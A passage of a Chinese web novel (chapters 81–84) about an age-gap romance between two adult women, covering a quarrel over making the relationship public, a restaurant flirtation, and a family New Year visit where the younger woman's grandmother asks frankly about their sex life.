“你对我做了那么多坏事,你从来没有给我道过歉,也从来没有哄过我。” 周灵蕴想起来了。 “我们之间,如果只是资助与被资助人,只是小猫与主人,那我可以继续做你的奴隶,像从前那样,心甘情愿的。但我现在是你女朋友不是吗?” 她想要的,只是一份笃定。 “我就那么让你难以启齿吗?” 忽一下,鼻酸眼热,周灵蕴语声哽咽。 女朋友。 女朋友? 姜悯疲惫捏捏眉心。 这个身份,这个词汇,忽让她压力倍增。 “也许我们之间的开始确实太过草率了。” 姜悯端起桌上马克杯,里面是周灵蕴之前泡的大麦茶,她喝掉剩下半杯,润润嗓子,“我要好好思考一下我们之间的关系了。” 搞砸了,周灵蕴霎时惶恐,急忙上前,屈膝半跪在姜悯身前,捧起她双手虔诚贴在脸颊,眼眶蓄满热泪,“你要跟我说分手吗?” 害怕极了,周灵蕴卑微到极致,“求求你不要,不要跟我说分手,我错了,对不起,我再也不跟你吵架了。” 轻轻摇头,姜悯神色哀伤。 她们或许不会真正分开,除了她,这座城市周灵蕴再也没有别的亲人了。 离开她,周灵蕴还能去哪里呢。 除去女朋友,周灵蕴还有很多别的身份。 但仅仅只是想,想到她们不能再像从前那般亲密,心口便是一阵绞痛。 她们之间,过往积攒的问题太多,早就是一团乱麻理也理不清,可彼此之间性吸引却如此强烈,像两块磁铁即便是背身而立,也会在特定距离内迅速转身相贴,根本抵挡不住。 过往恋爱经验为零,姜悯也好迷糊—— 作者有话说:迅疾菇驾到魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 80-90 第81章 女同性恋烤肉店演活春宫…… 小助理在办公室外面急得团团转, 里面两人吵得厉害,她想进去劝劝,不太敢, 也没个合适的借口。 思前想后,她下楼买了两杯咖啡。 再回到办公室门前, 里头没声儿了, 她轻轻叩响房门,几秒后, 半开的门扇里是周灵蕴刚哭过有些潮湿泛红的脸。 “谢谢。”周灵蕴把咖啡接过去,稍侧过身揉了揉眼睛,问:“你给自己买了吗?” 小助理今年夏天入职的,应届生, 没比周灵蕴大几岁。两人一公一私,每天把姜悯伺候得服服帖帖,日久天长,袍泽之谊油然而生,周灵蕴每次带饭都给她捎一份。 “不敢喝, 担心晚上睡不着。”小助理探头悄悄往里看了眼, 口型问“怎么样”。 周灵蕴摇头。 吵累了, 脑子空空, 突然没话讲。 门合拢,周灵蕴拎着咖啡过去,插好吸管递给姜悯, 然后坐到沙发的另外一端,离姜悯最远的位置。 姜悯转头看了眼。 她仍是不满,很不满。 几分钟前,这人在干嘛呢?单膝触地半跪在她脚边, 捧着她手不断地亲,哀求说不要分手不要分手,又指天发誓以后再不跟她吵架,再不无理取闹了。 才多久,就坐得离她那么远。 什么意思,她还没答应不分手呢,就这么没耐性,不哄了? 恋爱中的患得患失感分外磨人,姜悯此刻的感受,是行走在一望无际的沙漠。 头顶烈日灼人,脚底起落沉凝,绿洲仍渺无踪影。 吸一口冰咖啡,醇香布满口腔,甜苦味道交错刺激感官,也奇妙稍愉悦了心情。 说“在干嘛”,没头没尾的。 问“你为什么离我那么远”,显得多在乎她似的,面子还要不要了? “你说啊。”斟酌了半天,也没显得有多高情商。姜悯挫败。 但好歹是出声儿了,主动打破沉默。 “说什么?”周灵蕴浑身没骨头似窝在沙发角,撩起眼皮,懒洋洋瞅她一眼。 姜悯以前没跟别人谈过恋爱,身边也没啥朋友可以作为案例参考,她不知道别人谈恋爱是什么样子。 是不是也有这么多架要吵,吵得厉害时心里烦得要死,心说拉倒算逑,还谈个鸡毛啊,吃饱撑的吧,有个屁的谈头。 闭上嘴不讲话,又开始怕,担心对方不喜欢自己了,心里欠欠,身上刺挠。 “想说什么说什么。”姜悯随即放松仰靠在沙发,脸嘟起。 没甩手走掉,周灵蕴还愿意回她的话,说明仍然是喜欢她的吧? 姜悯低头抠手指,刚想起来,周灵蕴现在不是完全没地方去了。 她有宿舍,外头朋友也不少,万玉好像谈恋爱了,跟对象在校外租房,两室一厅三人挤挤能住。 另外,姜悯又想起来,现在是寒假,周灵蕴若不是为陪她上班,早打包行李回老家了。 “你有什么诉求,可以提出来。”想再跟她多说几句,也是在试探她的态度,姜悯探身把咖啡杯往她面前推了推,“怎么不喝。” 姜悯在主动求和吗?周灵蕴还挺意外的,不拂她面子,启唇叼住吸管。 姜悯留意到管子上那个小小的牙印,“不记得在哪里看到的一种说法……” 周灵蕴看她一眼。 姜悯卡住不动。 周灵蕴长长吸了口气,很无语的表情,“所以什么说法?” “就是……”挠头,姜悯也觉得现在说这个挺奇怪的,可就是莫名其妙想到了。 为增加信服力,补了句“有关行为学和心理学,应该是书本上看的。” “到底什么!”周灵蕴给她钓得不耐烦。 “就是说……”垂着眼皮不敢看她,姜悯不好意思地抓抓后脑勺,“说喝饮料的时候,喜欢咬吸管的人,通常□□比较强。” 周灵蕴迅速移目看着自己吸管。 她的吸管瘪瘪的,咬痕清晰。 “这个……有科学依据吗?”周灵蕴完全被带跑偏,忘记十分钟前两人还打得热火朝天,好几次,脑袋里邪恶小人冒出来——想先把姜悯掐死再自杀。 “有说法,有的。”姜悯记得非常清楚。 “说这类人通常比较没有安全感,情绪细微敏感,容易紧张,根据就是,小时候可能会因为饥饿啦,焦虑啦什么的,哺乳期死死叼住妈妈的那啥不放,长大以后这个习惯就……” 姜悯“嗯嗯”两声,表示后面的内容只可意会不可言传。 周灵蕴手捂住脸,满脑袋黑线。 神经病吧?这人有毛病吧? 当然她自己也没好到哪里去,同样的脑回路清奇。 “所以长大以后,喜欢吃女人的那啥?” 姜悯“啊”了一声,不禁陷入思考。这个新衍生出来的议题确实很值得琢磨。 “欸你这么一说,我觉得挺有道理。” 她们讨论后得出结果:喜欢咬吸管的女人喜欢女人的概率大概在百分之六十左右。 周灵蕴说她身边好像没几个咬吸管的,蛋挞和万玉都不咬。 “而且她们都有母乳,就我没有母乳,我想应该也有这个因素。” “所以长大以后,就从别的地方找补。”姜悯面朝茶几,两眼斜看,贼溜溜的。 床上周灵蕴确实蛮喜欢吃她那个的,常常吃到她喊痛,充血肿起来。 不甘示弱,周灵蕴猛一探身,手指向姜悯咖啡杯,“你看看自己吧!” 把她说得跟个什么似的,自己呢,还不是咬得乱七八糟。 姜悯脸转到一边,无声笑。 欸,真奇怪,她们还在吵架赌气呢,怎么就说到这上面去了。 搞得人心黄黄。 不过话说回来,吵架的时候时间过得还挺快,姜悯抓起手机看了眼,快到下班的点。 不多时,小助理来敲门,周灵蕴走过去把门打开,大大敞着。 姜悯回到办公桌前,处理最后一份文件,小助理走进来问老板还有什么吩咐,姜悯飞快抬头看她一眼,说没事了,叮嘱她路上注意安全。 她们就和好了?看起来是。小助理高高兴兴应声“好”,冲周灵蕴挤挤眼睛,美美下班。 吵架挺消耗热量,还耽误事,周灵蕴来不及赶回去做饭,她们外面吃。 吃日式烤肉,有精美的甜点和沙拉,肉质不错,另有服务生帮烤,省去很多事情。只是有外人在场,不方便说话,周灵蕴谢过对方,接过了烤夹。 服务生再是耐性,同时看顾几桌,也难免有疏漏,把蔬菜和肉片烤糊,周灵蕴接过任务,姜悯体验感迅速飙升。 周灵蕴服务意识一流,姜悯每一次入口都是最佳风味。 相比在办公室,氛围轻松很多,姜悯也有了好好跟她说话的耐性。 “其实你说的,官宣那个问题,我可以跟你解释。” 周灵蕴挑眉。 “什么意思嘛。”姜悯又不高兴了,“就动下眉毛,你到底想不想听嘛。” 周灵蕴颇为无语,“我非得做捧哏?” “不然呢?”姜悯理直气壮,“请不要忘记你自己的身份,这是作为女朋友的义务。” 周灵蕴“哈”一声,“现在是女朋友了,要吃要喝的时候,我就是女朋友了,你不是要好好考虑下我们之间的关系吗?考虑得怎么样了,要杀要剐痛快来。” “没想好。”姜悯白眼,夹了根沙拉碗里的秋葵。 “那就现在想。”把肉翻面,周灵蕴烤夹不轻不重那么一甩,“考虑不好就别吃,还吃,吃屎吧你吃。” “人不大,脾气不小。”姜悯探身将烤夹取走,“就你有手,就你会烤?” 烤架被这缺心眼翻得乱七八糟,周灵蕴皱眉盯了几秒,忍无可忍一把夺走,“我才翻过,你闲的是吧,那么多吃的不够你往嘴里塞,非找些事做。” “你现在对我一点尊敬也没有了。”姜悯不跟她抢,“欸让你让你,劳碌命,喜欢干就让你干个够。” 周灵蕴无所谓耸耸肩,“有什么办法,穷人的孩子早当家。” 东拉西扯,屁话连篇,伺候姜悯吃完一整盘牛五花,周灵蕴几次看她,终是忍不住,“所以你要跟我解释什么,吃饱喝足,还不快放。” 开始嘚瑟,姜悯摇头晃脑,“不说不说,急死你。” 周灵蕴四下看看,隔壁桌客人离席,服务生在忙,还没来收拾桌,她从姜悯对面位置跪榻榻米上爬过去。 姜悯“欸欸”着直往墙边躲,“你干嘛,你想干嘛。” 把人挤到墙角,一手勾住她脖子,一手虎口掐陷在她腰侧,周灵蕴缓慢施加力道,“坦白从宽,抗拒从严,赶紧给我交待。” 被控制在墙与她之间的夹角,姜悯缩成只小鹌鹑,还装傻,“说什么。” “你自己知道。”周灵蕴虎口持续施力。 那只手很有力气,姜悯早体会过的,她没跟周灵蕴讲过,她蛮喜欢床上周灵蕴无意识流露出的股狠劲儿。 每一张烤桌都有至少两扇屏风阻挡视线,她们在靠墙位置,足够隐蔽,但仍可以清楚听到隔壁桌热烈的交谈声。 使坏,周灵蕴手掌灵巧钻进姜悯内搭的柔软米白针织,“说不说。” “不说怎么样。”姜悯呼吸骤然收紧。 假装去解她的牛仔裤扣子,周灵蕴憋笑,附耳,“忍着点啊,别叫太大声。” 周灵蕴以为,姜悯必是花容失色,立即跪拜求饶。她只是逗她玩,手掌不再探索。 却还是低估了。 手腕传来温软力道,这女人竟是抓着她手要继续往里送,“那你整我,搞快点,快。我今天还真就不说了,我要上热搜,女同性恋烤肉店演活春宫。” 什么人啊! 周灵蕴迅速收回手,退避三舍,“你有毛病吧!” 姜悯面上失望真切,“怎么你玩不起啊。” 第82章 坐我脸上 腊月廿三, 赶在春节返乡高峰期之前,姜悯结束工作,开车带着小猫和小猫养的小猫回家。 早些时候, 还是周灵蕴生日那会儿,姜悯分析说今年八成是个寒冬, 气温恐跌破往年新低。 “姜还是老的辣。”周灵蕴一语双关, 风里缩着脖子,躲在服务区屋檐底下吃一份热乎乎的关东煮。 “还真让你说中了, 今年确实怪冷的。” 离家之前,在周灵蕴的记忆里,每年冬天好像都差不多,并没有清晰的程度划分。 成日风里来雪里去, 脚底板冻得像石头,手背全开花,皲裂流血,夜里躺在床上,厚棉被把身上捂热了, 血液循环加快, 又痒又痛翻来覆去睡不着。 更小的时候, 周灵蕴还不懂穿衣服, 都是奶奶给穿,里三层外三层给她捂得严严实实。那时候她年纪小,对寒冷的体验感也寻常, 脑子里只想着玩冰。 后来开始上初中,自己拿主意,图好看穿衣就大大忽略了保暖性,课间操场坝上, 两条袖管扯得紧紧,包住手,跟几个同学站一块聊天,捂着嘴“嘻嘻”笑,不知臭美给谁看。 返乡中途,天空飘起小雪,盐粒大小,簌簌落在姜悯的黑色羽绒服,她吃完自己手里那半根烤肠,签子扔垃圾桶,听周灵蕴碎碎叨叨说着小时候的事,走近,手伸进她衣下摆。 “干嘛呢。”周灵蕴笑着往后躲了下,手里端着东西,没敢太大动作。 她们穿同款羽绒服,周灵蕴那件大一号,姜悯摸着觉得里头有点空,但没办法,周灵蕴现在长得挺高,不买大,衣裳就短了。 “青天白日的,你想干嘛?”周灵蕴用手里的竹签子虚空戳。 姜悯白眼快翻上天,“我看你身上冷不冷。” “我真服了。”她越想越气,“你觉得我想干嘛,啊?年纪轻轻,满脑子黄色。” 周灵蕴险些笑喷,“我可啥也没说,是你自己心脏才看什么都脏吧。” 姜悯点头,“好,那你说,我伸手进去,你觉得我想干嘛。” “你就想摸我。”周灵蕴清清嗓子,一边胳膊肘捅她,“这倒不是我心脏,而是以我过去对你的了解,根据你往日言行推断。” “我真想一屁股坐死你!”姜悯服了,这人好双标,“你真的很会倒打一耙。对我心脏,到你就客观理性,清纯佳人白玫瑰。” 周灵蕴沉默了两秒,忽凑到姜悯耳边,悄声说了句话。 潮热的气息灌进耳朵,姜悯不禁打抖,揉揉耳根子,“说什么?没听清。” 周灵蕴清清嗓子,再次附耳,“我说,坐我脸上。” 姜悯张口结舌。 周灵蕴“哈哈”笑着,闪到一边。 什么人呐! 姜悯无言,只连连摇头。 趁着雪还没下大,她们吃完赶紧回车上。 车上暖和,周灵蕴说正经的,“但自从你把我接到城里以后,我就很少会觉得冷了。” 久居温室,也发现自己对寒冷的抵御越来越弱。 好多次,周灵蕴跟姜悯吵架,气头上,想干脆走了算了。 不敢真走,就想吓吓姜悯,但仅是存在想象世界的,片刻的分离都难以忍受。 想到要跟姜悯分开,再也看不到她,不能牵她的手,不能和她拥抱在一起,看她抱着电脑坐在床上办公,餐桌边吃饭,跟小猫玩。 还有性。不能和她在热乎乎的空调风里忘情地接吻,做,看她失控大叫,水蛇般柔韧的身躯扭摆…… 种种,不再是她,不能再拥有她,心底便有隐秘痛意丝缕蔓延开来。 所以只能忍,尽量忽略那些引起她不适的点,并强行合理化。 姜悯毕竟大她十岁,不公开关系,一定有她自己的考虑。 周灵蕴后来有问过,那天吃完烤肉之后。 回家的路上,等红绿灯,姜悯说了。 “那别人会怎么看我,你才刚满十八岁,咱俩就确定关系了,甚至在你生日那天睡了。显得我多迫不及待,好像养大你就是专门为了跟你睡觉。你有没有想过呢,别人会怎么看我,又怎么看你?” 周灵蕴不懂。 “可事实就是,我们确实是在我生日那天确定了关系,而且睡了。既然是事实,有什么好遮掩,有什么不能面对,你敢睡不敢认啊?” 姜悯看红灯读秒,看窗外的车,看远处光华闪熠的高楼塔尖,最后是周灵蕴。 “在你的视角,我们是情不知所起,一切自然发生,但别人不会那么想,他们会把所有的戏剧化通过自己的想象加工得合理化。” “‘哦,那个姜悯啊,我知道的,她小时候有个很好的玩伴,叫什么双,后来跳崖死了,她喜欢人家,一直忘不掉嘛,就找了个一模一样的接到身边养着,好家伙,才刚成年呢就忍不住打来吃了,啧啧……’” 现实层面,姜悯顾虑重重,她有在尝试着破除,却怎么也做不到。 “他们会相信吗?相信我对你的感情与旁人无关。” “那你自己相信吗?”周灵蕴深深地皱着眉,问道。 车里暖气烘得人脑袋昏昏,姜悯降下两指车窗,放进一缕凉风。 她深吸一口气,“我周围的人太多了,无数双眼睛盯着,我稍有风吹草动,我爸就要给我打电话,我也被搞得很烦。我没办法忽略,你觉得是虚荣心也无所谓,总之,我想给自己保留一份体面。” “所以你自己相信吗?”周灵蕴重复。 “相信你对我的感情与旁人无关。” 又绕回这个话题,姜悯摇头,无力苦笑。 她重重捶了一下方向盘,“我烦了,真的开始烦了,重复的问题到底还要解释多少遍。你到底还要向我确定多少遍?” “如果你每次都足够坚定,不要敷衍,给我安全感,那我怎么会一直反复向你确认呢?” 周灵蕴同样感到困惑,“很难吗?只是一句话而已……” “那你想听什么嘛!”姜悯打断她,音调高昂。 胸口瞬间塌陷一块,酸涩腐蚀,痛感强烈。 周灵蕴摇头,“我想要的是你发自内心的真诚流露,而不是被逼迫。我不喜欢强人所难,不是心甘情愿给我的,我不要。” “不要就算。”怒气值熊熊到达顶峰,姜悯忍了又忍才没有用力踩下油门,来个同归于尽。 周灵蕴之后就懒得问了,说多惹人心烦,自己也烦。 她后来通过观察得出,姜悯并没有觉得她只是暂时按下不表。 姜悯歪曲了她的沉默,赞赏的语气说“现在这样不挺好”、“你能想通我真的蛮开心的”、“再过几年吧”…… 几年? 三年五年,十年二十年,还是一辈子。 没发的火一直憋在心里,重复的日常中仍未得到化解,越积越多,越攒越厚,心上乌云沉甸甸。 可要离开姜悯,离开自己熟悉的生活环境是很难的事情。 很难很难。 周灵蕴知道离开家的滋味有多难受,更何况她早没有家了。她家房子塌了。 她从姜悯身上获取的东西太多,她们之间的羁绊太深。 奶奶知道周灵蕴她们今天回来,一直在窗边等,不是春梅死拉着不放,恨不得站马路边迎。 “外头多大的雪!冻坏了咋办,孙女回来瞧见个病老太,要担心的。” 车进院,奶奶再也等不了,忙披上衣服换鞋出门。 “嗐!急什么,她们自己长了腿。”谷香岚说着,赶紧招呼春梅拿伞去追,“你去,搀着点她,别又摔了。” “老人家想孙女。”姜悯她爸正看新闻,沙发上站起来,伸长脖子往外头看。 “是,老人家想着呢,想女儿了。”谷香岚笑着说。 她爸也跟着笑,取来外套,“我去看看外头的雪下多厚了。” “你说话留点神,别又跟她吵起来。”谷香岚叮嘱,“尤其别问谈恋爱的事。” “谁管她。”她爸站门口换鞋,“我是去看雪的,今年雪来得早。” 谷香岚原地坐了会儿,放下毛线针,还是决定跟出去看看。 姜悯抱猫包,周灵蕴去后备箱取行李,没留神,雪里站了一堆的人,全家都出来了。 “我来我来。”姜悯她爸帮着把行李箱接过去,说“又长高了”。 周灵蕴抓抓脸蛋,“现在不怎么长了,高中那几年长得多。” “还是瘦,回来好,你春梅姐给你们做好吃的。”她爸回头看眼姜悯,想说什么,几次张嘴又没出声,提着行李箱闷头走了。 周灵蕴拉着奶奶的手,老太太穿一件牡丹花图样的棉袄子,一双眼笑眯,气血红润。 富贵养人,她瞧着跟前几年确实不一样了。 “好不好?”奶奶每次见面都是这句打头。 周灵蕴应“好”,见到奶奶是真高兴,两手捧着她脸,“我冰你。” 她手凉,奶奶赶紧捧到嘴边呵气。周灵蕴闻到熟悉的雪花膏味道。 “别在雪里站着了,拿上东西,赶紧进屋暖和。”谷香岚拉着姜悯招呼。 姜悯回车上取给大家带的礼物,春梅顺手接过。 周灵蕴挽着奶奶胳膊往屋走,奶奶紧紧攥着她的手,说“瘦”,“跟小时候一样,手上还是没什么肉。” “你也是。”周灵蕴说遗传的。 奶奶点点头,手掌忽而施加力道,“跟姜老板呢,好不好?伺候得还到位不?” 周灵蕴不由得张大了嘴巴。真是熟悉的问题。 她心中一阵酸楚,自认跟姜悯关系一直不算太好。大问题虽没有,但小问题攒吧攒吧,也能搓成大问题。 人之老也,形益衰,而智益盛。 奶奶的智慧,她直到今天才渐有领悟—— 作者有话说:迅疾菇最近出勤率很高耶 第83章 讨厌姜悯 自打周灵蕴被姜悯接进城, 奶奶就一直住在山下姜家的两层小楼,同姜悯父母一道,在姜家最开始给她安排的客房。 几年积累, 日常添置,房间也渐渐有了自己的风格。 两口从山上扛下来的老檀木箱子, 一张原木色长桌, 一个带铜锁的黑匣子。 房中各式家具用旧衣裳裁拼的布块盖着,衣柜门上贴了几张不知哪里搞来的女明星海报, 放射状围绕着中间的中国地图。 周灵蕴走到地图面前,地图上老家和她现在所处的位置分别插了两根缝纫用的大头针,上头红线拴着。 她伸手轻轻碰了碰,回头。 奶奶坐在床边, 两手撑着床沿,有些不好意思地笑,“地图上瞧着没多远,就寸把长。” 是啊,地图上瞧着没多远, 寸把长的距离开车却要十几个小时, 一年只能见两次, 一次就十来天。 周灵蕴走到奶奶身边, 贴着她坐。 小时候总觉得奶奶特别“大”,伸手就能够着柜子顶的东西,她毫无办法, 只有昂着脑袋看的份。 奶奶还特别“坏”,不想给她碰的东西都搁在柜顶,针线篓子啦,水果糖啦, 还有好些她说不上名字的杂物…… 现在的奶奶好瘦好小,两人一边齐坐着,她体型比奶奶大出两三圈,还比奶奶高出不少,低头就是奶奶近乎全白的发顶。 周灵蕴脸朝着衣柜方向,姜悯家柜子打齐房顶高,她笑,“还能爬上去藏东西吗?” 奶奶把周灵蕴的两只手摞一块捧在自己手心里,“铁盒里放的明矾和松香,明矾止血,松香治烂疮,那都当药使。你非说是冰糖,白冰糖和黄.冰糖,还埋怨我对你不好,藏着不给你吃,自己端板凳去够,非吃,可不得藏好?” 周灵蕴仰脖长长“啊”了一嗓。 她偷到以后迫不及待往嘴里塞,尝到怪味也不停,只当是冰糖变质,不管不顾,牙巴用力只管嚼,肚里咽。 也是命大,没吃死,上吐下泻两天,一碗鸡蛋饭,再睡一觉,起来又生龙活虎的了。 “我还触过电呢,还从山上摔下去过,脑袋现在有小块地方不长头发……”小时候的自己是真难杀啊。 也亏得山里孩子,皮糙肉厚,扛造。 “现在不一样喽——”奶奶低头拉着周灵蕴的手翻来覆去看,又摸摸她脸蛋,笑盈盈说“嫩得”。 “白豆腐似的,又软又嫩,城里人模样了。” 周灵蕴撇了下嘴,知道要来了。 每次说到姜悯,老太太都是一箩筐的感恩感谢。不单感谢姜悯一人,还捎上她全家,一起感谢。 “她也不亏。”周灵蕴哼声。就姜悯那臭德行,除了她谁受得了?狗脾气女人,不讲理,凶巴巴。 奶奶“欸”一声,“可不能说。” “本来就是。”周灵蕴不以为意,“你是不知道她多难伺候,我忙疯了,她每天换下来的内裤都是我洗,一年三百六十五,一天不落连洗好几年。” 说到“伺候”,祖孙俩关房间里,正好说点悄悄话。 奶奶“欸欸”两声,胳膊肘旁边捅,“你跟她两个睡觉没有?” 周灵蕴“啊”一声,脸一下就红了,“怎么突然说起这个。” “你是她童养媳的嘛,长大了肯定是要跟她睡觉的嘛。”奶奶问周灵蕴伺候得怎么样,老板满不满意? “睡觉嘛……”周灵蕴还没长到可以随便跟人讨论性的年龄,她也不想让人知道她已经跟姜悯睡了。 好臊皮嘛! “就正常睡觉啊,肯定睡了的嘛,早就睡过的嘛,躺一张床上,你睡你的,我睡我的。” 这不算撒谎吧,睡觉嘛,睡着了不都是各睡各的。 周灵蕴忽然理解姜悯为什么选择不公开了。 真挺难为情的。 “你都十八岁了。”奶奶说十八岁成年了。 “你跟她两个那个没有嘛。” “哪个啊?”周灵蕴嗫嚅着,脸快红炸了。 “做.爱。”奶奶干脆直接问了,“你跟她两个做.爱了没得。” 周灵蕴脑袋里好像有个蜂巢,“嗡嗡”响不停。 这老太太,你说她封建吧,她对性竟是毫无避讳,直接问你做.爱了没! 你说她不封建,她一口一个“童养媳”,念叨好几年。 “两女的咋做.爱。”周灵蕴试图用魔法打败魔法。 奶奶“嘁”一声,“你还是城里人嘞,这个都不晓得。” 她说两个女的咋不能做.爱,两个女的当然能做.爱,别说女的,男的也能做.爱! “但是男的没有那个嘛,就要从后头……” 周灵蕴脸皱成一张抹布,“你咋啥都晓得。” “你不晓得啊?”奶奶真诚发问。 周灵蕴当然晓得,毕竟城里人。 “可你咋晓得的?” “我咋不晓得?”奶奶反问。 “我啥子都晓得。” “你见过呐?”周灵蕴好奇,“村里有吗?” 奶奶说见过,“哪里都有,女的有,男的也有,都有。” 周灵蕴觉得自己确实还是太年轻了。 见得少了。 “人活七十古来稀。”奶奶说她活了那么久啥子没见过? “七十年啥子概念,安?” 周灵蕴再次抬头,目光不经意扫过衣柜上张贴的女明星海报。 八九十年代的美艳港姐,每一个都美得很有特色。 她强行转移话题,“哪里搞来的。” “岚岚在网上给我买的。”奶奶说。岚岚自然是谷香岚女士了,姜悯老妈。 老房子堂屋墙上就贴了不少女明星海报,没想到,如今换了住处,还是要贴。 老太太每天起床入睡,都是在一帮大美女眼皮底下呢,风情万种,个个笑眯眯看着她。 周灵蕴不由思维发散,“老太太,有件事情问你,可不可以老实交代。” 奶奶问交代啥子。 周灵蕴看着她的眼睛,并要求“你也看着我的眼睛”。 奶奶听话把她瞧着,周灵蕴奇怪她怎么能那么清楚呢,“你是不是也跟女的做过爱。” “哎呦我倒是想了。”奶奶“嗐”一声,拍着大腿嚷嚷,“哪里有那个福气嘛!” 周灵蕴平时看书多,觉得这方面遗传因素还挺大的。 老太太这话可不算清白啊。 “原来你也是个有故事的老太太,只是被时代封印。” 周灵蕴不住晃脑袋,“田秋娥啊田秋娥,还是小看你了。” 奶奶让她别打岔,追问到底做了没有。 话都说到这份上。 周灵蕴手搓了两把脸,点头,“做了,做了好多次了。” “那老板还满意吧?”奶奶对老板的体验感非常重视。 周灵蕴不由陷入回忆,脸更红了。 “我不知道,但看她当时样子,应该是挺满意的吧。” “满意就好。”奶奶也满意了。 周灵蕴奇怪奶奶为什么一直纠结这个,奶奶说,那就说明你两个产生爱情了。 “产生爱情了嘛就能永远在一块了,就是两口子了,等以后我走了,也不怕你孤单,有人陪着你。” “呸呸呸!”周灵蕴让她赶紧把话收回去。 “你不许说什么走不走的!” 奶奶顺着她的意思“呸呸呸”,眼底闪烁的浑浊泪光却明明白白告诉她——老人家早晚是要走的。 还能陪她多久?谁知道。 心里好难受啊,周灵蕴手揪着心口那块毛衣使劲儿揉了揉,然后踢掉鞋子爬上床,脑袋枕在奶奶大腿上,眼泪掉。 想到奶奶说产生爱情了就是两口子了,肚里那股酸水更是一汩汩往外冒。 奶奶到底还是老一辈人想法——产生爱情了就是两口子了。 以后都是两口子了,不愁没人陪了,能一直过下去,过到死。 好简单,好纯粹的爱情观。 “好好过。”奶奶一下下摸着她脑袋,“跟姐姐好好过。” 在生死面前,在不确定的未来面前,恐慌感是必然。 可只要想到她,顿时就勇气倍增,不惧任何艰难险阻。 揉揉眼睛,吸吸鼻子,那些鸡毛蒜皮的小事也不值一提了。 周灵蕴在奶奶房间待了一下午,出来快晚饭的点,她拿上杯子去接水喝,口渴得厉害,饮水机面前咕咚灌下去两大杯。 春梅路过,让她别喝了,说快吃晚饭,冲淡胃液不好消化。 周灵蕴放下杯子,回姜悯房间。 被冷落一下午,难免有怨气,姜悯躺沙发上划拉手机,终于瞧见人,使劲儿瞪了她一眼。 周灵蕴默不作声,姜悯身边坐下。 跟老人家没啥可醋,可姜悯就是不满,去那么久也不提前跟她说! 她伸腿踹了下周灵蕴。 周灵蕴吸了口气,稍挺挺背,把姜悯两条小腿搂怀里抱着。 “你说我们会永远在一起吗?” “不然呢?”姜悯立即道。 “你不跟我在一块,还想跟谁在一块……” “你吃我的喝我的,我把你养这么大,现在轮到你报恩了,你想跑啊?”周灵蕴替姜悯说完下半句。 情绪起伏像过山车,此刻飞跃至巅峰,一见她便觉欢喜。 姜悯仰身,两手圈住周灵蕴脖子,整个身体朝她倾压而去,“你知道就好!” “但愿吧。”手臂本能圈抱,周灵蕴埋首姜悯肩窝,嗅闻熟悉的发香。 “奶奶问我跟你做了没,老太太真是让我刮目相看。” 姜悯“啊”一声,挺身,“那你怎么说的?” 她抽离得迅速,周灵蕴怀抱空空,原地呆愣两秒,手臂垂下,“还能怎么说,实话实说。” “那她不会告诉我妈吧?还有我爸?”姜悯神情凝重,推她一把,“你去跟老太太说,让她别乱说!” 就知道会这样,周灵蕴早叮嘱过了。 她顿觉索然无味,嘴角牵起细微的嘲讽弧度,声无波澜应下,趁机起身走出房间。 讨厌姜悯—— 作者有话说:迅疾迅疾迅疾迅疾 第84章 又当又立 近来, 常对时间的流逝产生强烈恍惚感,好像昨天还抱着膝盖坐在家附近的山坡上,看牛嚼草, 看云低垂,看草叶停的一只小蚂蚱一动不动。 发愁, 不知该听奶奶的话继续念书, 还是下山找地方打工…… 周灵蕴总觉得还是小时候。 那时候她有很多烦恼。 她开始长个头,去年过年买的衣服, 到今年袖子和裤腿都短了,盖不住脚踝,一坐下就露出里头包着秋裤的起球的花袜子。 在发育,胸部常有胀痛感, 来月经肚子也疼得厉害。流血就算了,还要花钱买卫生巾,卫生巾很贵,而这份钱是怎么也省不掉的。 …… 大多是关于生存的难题,饥饿和寒冷。 其中最大最大的烦恼, 是“我什么时候才能真正长大”。 想快点长大, 赚很多钱, 不再挨饿受冻, 带奶奶看病,让老人家享福…… 还总是梦到小时候,梦中的绝望, 像梅雨季山上老房子里厚实的霉丝气,从房梁上,从书桌课本里,甚至床上的棉被……血一样渗出来, 混着铁锈味儿和眼泪的咸。 不是早就长大了,早离开家了。 她跟着姜悯去城里上学,奶奶也很久没哼哼骨头疼…… 常做这样的梦,醒来,视线尚朦胧,思绪也凝滞,一时分不清究竟哪一处才是梦。 周灵蕴揉揉眼睛,翻个身,身边人睡颜安静恬美,柔顺而凉滑的长发铺散满枕,睫毛沉沉盖住眼睛,一点晶亮唇珠微翘,少见的乖巧。 她好漂亮啊。 周灵蕴不知第多少遍发出这样的感慨。 于是忍不住,凑近她,浅浅一吻落下。 于是不禁再一次告诫自己:周灵蕴,现在的生活很好,你应该感到满足。 你还有什么不满足?你到底还想要什么? 别太贪心了。做人不能忘本。 周灵蕴轻手轻脚掀被下床,洗漱完走到外面客厅,抬头看眼钟表,八点多,除了姜悯全家都起了。 她逐一问好,嘴甜喊谷阿姨,姜叔叔,然后走到奶奶身边,说“起啦”,牵着奶奶的手晃晃,听见厨房里叮铃哐啷,挽起袖子进去帮忙。 春梅扭头看一眼,说来得正好,去外面拔几根小葱回来。 周灵蕴应下,调头走出厨房,春梅又大声叮嘱:“你穿上点衣服。” 外面雪铺得老厚,后院菜畦全被雪埋了,还在下呢,雪米子打在羽绒服上,沙沙响。 菜畦有好几块,周灵蕴不知道哪块儿下面栽的小葱,朝天呵出口白气,正打算回去问,身后门响。 周灵蕴扭脸,谷香岚正好抬头朝她笑一下。 “蕴蕴。” 中年女人手掌脂肉温暖,周灵蕴每一次被她紧紧地攥着,内心总有个声音,小孩的声音,祈祷对方多停留一会儿。 阿姨的手像床被太阳晒暖的厚棉被,话音和煦,身上气味也好闻,周灵蕴不自觉跟她站得很近,微微垂下头颅,睁大眼睛认真聆听状。 谷香岚笑容变大,把周灵蕴拉得更近些。 她也不啰嗦,免得小孩心里多想,问周灵蕴,姜悯最近是不是谈恋爱了。 周灵蕴不清楚阿姨的态度,谨慎发言,说姜悯是发了条看起来像谈恋爱的朋友圈。 “应该是谈了吧。” “应该?”谷香岚笑意玩味,“你们朝夕相处,她有没有谈恋爱你不清楚啊?” “我要上学嘛,就周末回去,平时各自忙工作忙学业,没办法见面……” 周灵蕴想了想,干脆把舒颖拉出来,“不过有次提前回去,家里是撞见个人,嗯……瞧着比她大几岁,长得很精明的女人。” 谷香岚诧异“哦”了声,“大几岁?原来姜黏喜欢的是姐姐啊。嗯,姐姐好,会疼人。可你听起来,对她的姐姐似乎并不十分满意。” 